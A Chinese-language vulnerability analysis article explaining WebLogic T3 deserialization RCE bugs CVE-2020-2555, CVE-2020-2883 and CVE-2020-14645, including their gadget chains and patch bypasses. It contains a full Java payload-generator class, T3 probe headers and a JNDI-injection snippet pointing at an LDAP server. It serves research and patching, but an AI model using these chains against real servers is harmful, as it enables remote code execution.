Weblogic12c T3 協議安全漫談

作者：laker@知道創宇404實驗室
時間：2020年8月28日

前言

WebLogic是美國Oracle公司出品的一個application server,確切的說是一個基于JAVAEE架構的中間件。主要用于開發、集成、部署和管理大型分布式Web應用、網絡應用和數據庫應用的Java應用服務器。近幾年頻繁爆發出多個RCE漏洞，而在今年，其T3協議被頻繁攻擊和發布補丁與繞過，本文主要對今年來由T3協議入口所產生的多個RCE漏洞進行分析，其中主要包括CVE-2020-2555、 CVE-2020-2883(bypass CVE-2020-2555補丁)、 CVE-2020-14645 (bypass CVE-2020-2883補丁)。

環境搭建

兩種搭建環境，第一種是利用docker搭建環境，利用IDEA動態調試，可參考[1]，本文調試建議使用Weblogic Server版本12.2.1.4.0，對于該版本的docker文件在https://hub.docker.com/_/oracle-weblogic-server-12c?tab=reviews。

第二種是在官方下載安裝包[2]，并安裝安裝指引進行安裝[3]。

我們采用第二種進行。在Oracle官網下載后進行安裝。

java.exe -jar C:\Users\Administrator\Desktop\fmw_12.2.1.4.0_wls_lite_generic.jar

安裝完后導入IDEA再進行配置即可。

漏洞版本

CVE-2020-2555 && CVE-2020-2883(bypass CVE-2020-2555補丁)

10.3.6.0.0
12.1.3.0.0
12.2.1.3.0
12.2.1.4.0

CVE-2020-14645 (bypass CVE-2020-2883補丁)

12.2.1.4.0

漏洞成因

簡單理解該漏洞成因便是Weblogic 默認開啟 T3 協議，攻擊者可利用T3協議進行反序列化漏洞實現遠程代碼執行。

基于代碼的漏洞介紹：CVE-2020-2555主要源于在coherence.jar存在著用于gadget構造的類（反序列化構造類），并且利用weblogic默認存在的T3協議進行傳輸和解析進而導致weblogic服務器反序列化惡意代碼最后執行攻擊語句。

T3協議

WebLogic Server 中的 RMI 通信使用 T3 協議在 WebLogic Server 和其他 Java 程序（包括客戶端及其他 WebLogic Server 實例）間傳輸數據。同時

T3協議包括

請求包頭 2. 請求主體

因此，在T3數據包構造過程中，需要發送兩部分的數據

請求包頭，形如

t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://localhost:7001 LP:DOMAIN 1

以\n結束

同時，我們發送t3的請求包，可用于刺探服務器weblogic版本，該服務器會將自身版本進行響應，形如

HELO:12.1.3.0 false AS:2048 HL:19 MS:10000000

序列化數據部分，序列化部分的構成方式有兩種：
第一種生成方式為，將weblogic發送的JAVA序列化數據的第二到九部分的JAVA序列化數據的任意一個替換為惡意的序列化數據。
第二種生成方式為，將weblogic發送的JAVA序列化數據的第一部分與惡意的序列化數據進行拼接。

具體T3的數據結構可參考http://drops.xmd5.com/static/drops/web-13470.html，這里我們不關注T3具體數據結構，而是將重心放在T3的反序列化漏洞上。

綜上，為實現T3協議的JAVA序列化包，需要在T3數據結構頭部發送后在其中插入序列化惡意數據，該惡意數據與JAVA的原生ObjectOutputStream數據類型是一樣的，然后發送T3數據結構尾部。

CVE-2020-2555

由于CVE-2020-2883是對2555補丁的繞過，我們先看看原來的CVE-2020-2555利用鏈。

BadAttributeValueExpException.readObject()
   com.tangosol.util.filter.LimitFilter.toString() //CVE-2020-2555出現時 對此進行了修補
     com.tangosol.util.extractor.ChainedExtractor.extract()
         com.tangosol.util.extractor.ReflectionExtractor().extract()
             Method.invoke()
             //...
             com.tangosol.util.extractor.ReflectionExtractor().extract()
             Method.invoke()
                 Runtime.exec()

我們使用12.2.1.4.0對此進行調試。

根據已知的一些漏洞信息

漏洞的產生點是 coherence.jar 包中的 LimitFilter 函數，我們將相關漏洞包coherence.jar和tangsol.jar 添加到庫函數并反編譯add as library

在server\lib\console-ext\autodeploy\tangosol.jar!\com\tangosol\util\filter\LimitFilter.class#toString下一些斷點，調試并發送POC。

根據堆棧信息，Weblogic收到POC的數據后，對其進行分發后對T3的數據段部分進行了反序列化還原操作，進而產生了該漏洞的入口。

1598413132395

利用 BadAttributeValueExpException類實例可以用來調用任意類的toString()方法，這里可能有小伙伴會好奇，為什么這個類的實例能調用在任意類的toString()方法？原因如下：

利用 java.io.ObjectInputStream反序列化一個類時會默認調用該類的readObject方法。

javax.management.BadAttributeValueExpException#readObject方法會對傳入的ObjectInputStream實例提取其val屬性的值(這也是為什么我們要將惡意對象注入到val屬性)。

然后將該值進行判斷（valObj受到我們的控制，就是我們注入val屬性的對象），我們需要進入的是val = valObj.toString();進而調用控制的valObj對象的toString方法：

1598422858241

這里的System.getSecurityManager需要為null才會進入toString邏輯。

1598433641810

因此我們可以操控valObj成為任意對象并對讓其使用toString方法，這里我們選擇的惡意宿主是LimitFilter類，原因如下：

了解到LimitFilter類會被我們操作執行toString方法，其toString方法存在如下操作

注意到在LimitFilter.class#toString方法中，獲取到該類的m_comparator成員屬性后，轉換為(ValueExtractor)對象并調用自身extract方法：

1598424104916

這里可能會有疑問，如何去控制m_comparator成員屬性呢？因為這個類其實就是我們自己寫的惡意類，當然可以控制其成員屬性了。

到這里，我們就可以控制我們構造的惡意類里面m_comparator成員的extract方法了，而m_comparator成員可控。因此我們可以控制任意類的extract方法了。而后我們選取的利用類是com.tangosol.util.extractor.ChainedExtractor#extract，因為它的extract方法是這樣的，該方法會將this.getExtractors返回的數組依次調extract并返回給oTarget：

1598427153167

this.getExtractors方法繼承自AbstractCompositeExtractor，返回成員屬性this.m_aExtractor

1598427817664

而這個this.m_aExtractor則來自原始方法AbstractCompositeExtractor()，即是初始化該示例的時候傳入的：

1598428298804

那么可以理解為，com.tangosol.util.extractor.ChainedExtractor類會依次對初始化實例時調用傳入的ValueExtractor[]類型的列表調用extract方法。

至此我們便有了調用多個對象extract的能力。

又是一個疑問，這里都是調用extract方法，怎么才能從extract到Runtime.getRuntime.exec()的調用呢？答案是反射。如果我們可以找到一個類，該類的extract方法可控并且傳入參數會被順序進行反射，那么就可以通過控制extract和傳入參數進行RCE了。這個類是com.tangosol.util.extractor.ReflectionExtractor#extract

1598429645257

反射的形式這里不細講了，有興趣的可以參考[4]

這里需要形成需要被調用的方法.invoke(被調用類class, 執行的代碼)。

諸如

***.invoke(***,new String[]{"cmd","/c","calc"}

//用String.class.getClass().forName("java.lang.Runtime"))還原調用類class           
***.invoke(String.class.getClass().forName("java.lang.Runtime")),new String[]{"cmd","/c","calc"}

//用String.class.getClass().forName("java.lang.Runtime").getMethod("getRuntime")構造method
//這里相當于java.lang.Runtime.getRuntime(new String[]{"cmd","/c","calc")
String.class.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(String.class.getClass().forName("java.lang.Runtime")),new String[]{"cmd","/c","calc"}

//再調一層反射獲取exec
//String.class.getClass().forName("java.lang.Runtime").getMethod("exec",String.class)
String.class.getClass().forName("java.lang.Runtime").getMethod("exec",String.class)
.invoke(被調用類class, 執行的代碼);

//完整反射
String.class.getClass().
        forName("java.lang.Runtime")
        .getMethod("exec",String.class)
        .invoke(
                String.class.getClass().forName("java.lang.Runtime").
                getMethod("getRuntime").
                invoke(String.class.getClass().forName("java.lang.Runtime"))
                ,new String[]{"calc"}
                );

然后利用com.tangosol.util.extractor.ReflectionExtractor#extract進行傳入構造再invoke。

綜上，我們構造如下代碼片段。

1598432563582

POC邏輯

1.組裝ReflectionExtractor成為列表賦值給valueExtractors（ReflectionExtractor有反射的extract函數）。

1598433412916

2.然后通過放入ChainedExtractor(列表依次extract) (ChainedExtractor有列表extract函數)。

1598433368921

3.然后通過放入limitFilter(limitFilter可讓ChainedExtractor使用extract)。

1598433840870

4.然后通過放入BadAttributeValueExpException(令limitFilter使用toString)。

1598433747099

于是構成了該利用鏈。

最后序列化數據源代碼大致如下：

package test.laker;
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import com.tangosol.util.filter.LimitFilter;
import javax.management.BadAttributeValueExpException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

public class Exploit {
    public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException {
        //定義多次轉換鏈進行反射調用
        ValueExtractor[] valueExtractors = new ValueExtractor[]{
                new ReflectionExtractor("getMethod", new Object[]{
                        "getRuntime", new Class[0]
                }),
                new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
                new ReflectionExtractor("exec", new Object[]{new String[]{"calc"}})
        };
        //初始化LimitFiler類實例
        LimitFilter limitFilter = new LimitFilter();
        limitFilter.setTopAnchor(Runtime.class);
        BadAttributeValueExpException expException = new BadAttributeValueExpException(null);
        Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
        m_comparator.setAccessible(true);
        m_comparator.set(limitFilter, new ChainedExtractor(valueExtractors));
        Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
        m_oAnchorTop.setAccessible(true);
        m_oAnchorTop.set(limitFilter, Runtime.class);
        //將limitFilter放入BadAttributeValueExpException的val屬性中
        Field val = expException.getClass().getDeclaredField("val");
        val.setAccessible(true);
        val.set(expException, limitFilter);
        //生成序列化payload
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(System.getProperty("user.dir")+"/poc2.ser"));
        objectOutputStream.writeObject(expException);
        objectOutputStream.close();
    }
}

CVE-2020-2555補丁

本地補丁檢測方式：

cd %Oracle_Home%/Middleware/wlserver/server/lib
java -cp weblogic.jar weblogic.version

1598434137149

可以看到，Oracle官方在一月發布了CVE-2020-2555的補丁[5]。

該補丁需要用戶持有正版軟件的許可賬號，使用該賬號登陸官方網站方可下載。

該補丁阻斷了LimitFilter傳入的對象使用extract方法.

CVE-2020-2883

后續 VNPT ISC的研究員Quynh Le向ZDI提交了一個漏洞][6]

該補丁阻斷了LimitFilter，也就是阻斷了從readObject ---> toString ----> extract的路徑

然而該研究員找到了另一個路徑去連接readObject ----> extract

java.util.PriorityQueue.readObject

https://blog.csdn.net/systemino/article/details/106117659

https://github.com/Y4er/CVE-2020-2883

java.util.PriorityQueue.readObject()
   java.util.PriorityQueue.heapify()
   java.util.PriorityQueue.siftDown()
   java.util.PriorityQueue.siftDownUsingComparator()
   com.tangosol.util.extractor.ExtractorComparator.compare()
       com.tangosol.util.extractor.ChainedExtractor.extract()
         //...
         Method.invoke()
             //...
           Runtime.exec()

java.util.PriorityQueue#readObject會調用heapify函數，如下圖，具體利用時使用雙參構造方法，我們看看文檔的描述。

1598494724625

使用指定的初始容量創建一個 PriorityQueue，并根據指定的比較器對元素進行排序。

1598499536733

這里我們指定的比較器是 ExtractorComparator ，初始容量為2

PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));

顯而易見，這里我們調用的ExtractorComparator這個比較器compare函數存在著extract方法。

1598504648966

o1和o2的值：

1598500033271

讓m_extractor對象使用extract方法。這里操控m_extractor的方法就是反射（具體前面有）。

1598505115016

于是乎，和前面一樣的，這個m_extractor對象被修改為數組以達到多個對象調用extract方法。然后就進入到com.tangosol.util.extractor.ChainedExtractor。

1598500176069

至此，完成了從readObject ---> compare ----> extract的連接。后續調用就和CVE-2020-2555相同了。

調用鏈：

1598505333220

POC可以參考https://github.com/Y4er/CVE-2020-2883/blob/master/CVE_2020_2883.java

CVE-2020-2883補丁

Oracle官方對于CVE-2020-2883的補丁[7]將 extract 方法存在危險操作的 MvelExtractor 和 ReflectionExtractor 兩個類加入到了黑名單中(ReflectionExtractor與MvelExtractor 有反射的extract函數)。

java.util.PriorityQueue.readObject()
   java.util.PriorityQueue.heapify()
   java.util.PriorityQueue.siftDown()
   java.util.PriorityQueue.siftDownUsingComparator()
   com.tangosol.util.extractor.AbstractExtractor.compare()
     com.tangosol.util.extractor.MultiExtractor.extract()
       com.tangosol.util.extractor.ChainedExtractor.extract()
          com.tangosol.util.extractor.ReflectionExtractor().extract()//patch of 2020-2883
             Method.invoke()
         //...
         Method.invoke()
             //...
           Runtime.exec()

CVE-2020-14645

ReflectionExtractor與MvelExtractor 被加入了黑名單，如果我們能找到一個類（類的extract函數中有可控的反射操作)，便可繼續該鏈條（這里我們有的是readObject ---> compare ----> extract ---> 多個類的extract --> ~~extract中可控反射~~）。

可采用這個類com.tangosol.util.extractor.UniversalExtractor#extract。

1598505960398

遺憾的是其被transient修飾，被transient關鍵字修飾的變量不再能被序列化。

1598506105053

但是此處在75行對oTarget傳入了extractComplex方法。

1598506370964

又見希望，該方法中也存在可控反射。

1598511058884

值得注意的是，兩條method獲取方法只能從第一個if去取，原因是else中需要確保fProperty==false, 然而184行中m_fMethod存在transient修飾，被transient關鍵字修飾的變量不再能被序列化因此無法構建序列化字節流。

1598511307172

1598511434564

而在if條件中收到參數影響有sBeanAttribute--> sCName--->this.getCanonicalName()，這里做的工作就是187行對sCName首字母大寫并將其與BEAN_ACCESSOR_PREFIXES列表的值進行拼接，取到則停止返回method。

1598512105619

那么BEAN_ACCESSOR_PREFIXES列表是什么樣的呢？其存儲了get和is兩個字符串。因此，在拼接的時候，只能形成get___或者is___這樣的方法調用。

1598514396005

于是可以利用 com.sun.rowset.JdbcRowSetImpl#getDatabaseMetaData()方法進行反射調用構建JNDI注入，這也是為什么之前都是利用原有的ReflectionExtractor直接反射到Runtime類執行而這里卻只能發起JNDI請求在低版本的JDk來執行代碼。

POC邏輯

在POC構造上，先初始化JDBC對象，設置this.m_sName參數為getDatabaseMetaData()

JdbcRowSetImpl rowSet = new JdbcRowSetImpl();rowSet.setDataSourceName("ldap://127.0.0.1:1389/#Calc");
UniversalExtractor extractor = new UniversalExtractor("getDatabaseMetaData()", null, 1);

1598517138292

然后是關鍵點的sName會被去掉前綴，因此后面要進行拼接。

1598517012173

依舊讓queue使用ExtractorComparator這個比較器。

final ExtractorComparator comparator = new ExtractorComparator(extractor);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);

對該queue實例設置成員變量(反射)。此處讓該實例queue擁有兩個成員變量，一個是queue，值為new Object[]{rowSet, rowSet}，一個是size，值為2。這里用了寫的Reflections工具類，當然也可以一點點用反射進行設置。

Reflections.setFieldValue(queue, "queue", new Object[]{rowSet, rowSet});
Reflections.setFieldValue(queue, "size", 2);

POC可以參考https://github.com/Y4er/CVE-2020-2883/blob/master/CVE_2020_2883.java

收到的LDAP請求：

1598517751999

該CVE漏洞利用服務器有JDK條件，且只能在Weblogic Server 12.2.1.4.*存在。

LDAP： < JDK6u201/7u191/8u182/11.0.1 RMI: < JDK6u141/7u131/8u121

參考文章

[1]利用docker遠程動態調試weblogic

https://blog.csdn.net/sojrs_sec/article/details/103237150

[2]官方下載

https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html

[3]官方安裝指引

https://docs.oracle.com/en/middleware/fusion-middleware/12.2.1.4/wlsig/installing-oracle-weblogic-server-and-coherence-software.html#GUID-5C7D4437-46A2-45A2-85F3-738B0DFE9AE2

[4] JAVA 反射

https://www.jianshu.com/p/9be58ee20dee

[5]patch for CVE-2020-2555

https://support.oracle.com/portal/oracleSearch.html?CVE-2020-2555

[6]Quynh Le向ZDI提交漏洞

https://www.zerodayinitiative.com/advisories/ZDI-20-570/

[7]patch for CVE-2020-2883

https://support.oracle.com/portal/oracleSearch.html?CVE-2020-2883

https://www.oracle.com/security-alerts/cpuapr2020.html

Paper 本文由 Seebug Paper 發布，如需轉載請注明來源。本文地址：http://www.bjnorthway.com/1321/

Paper - 安全技術精粹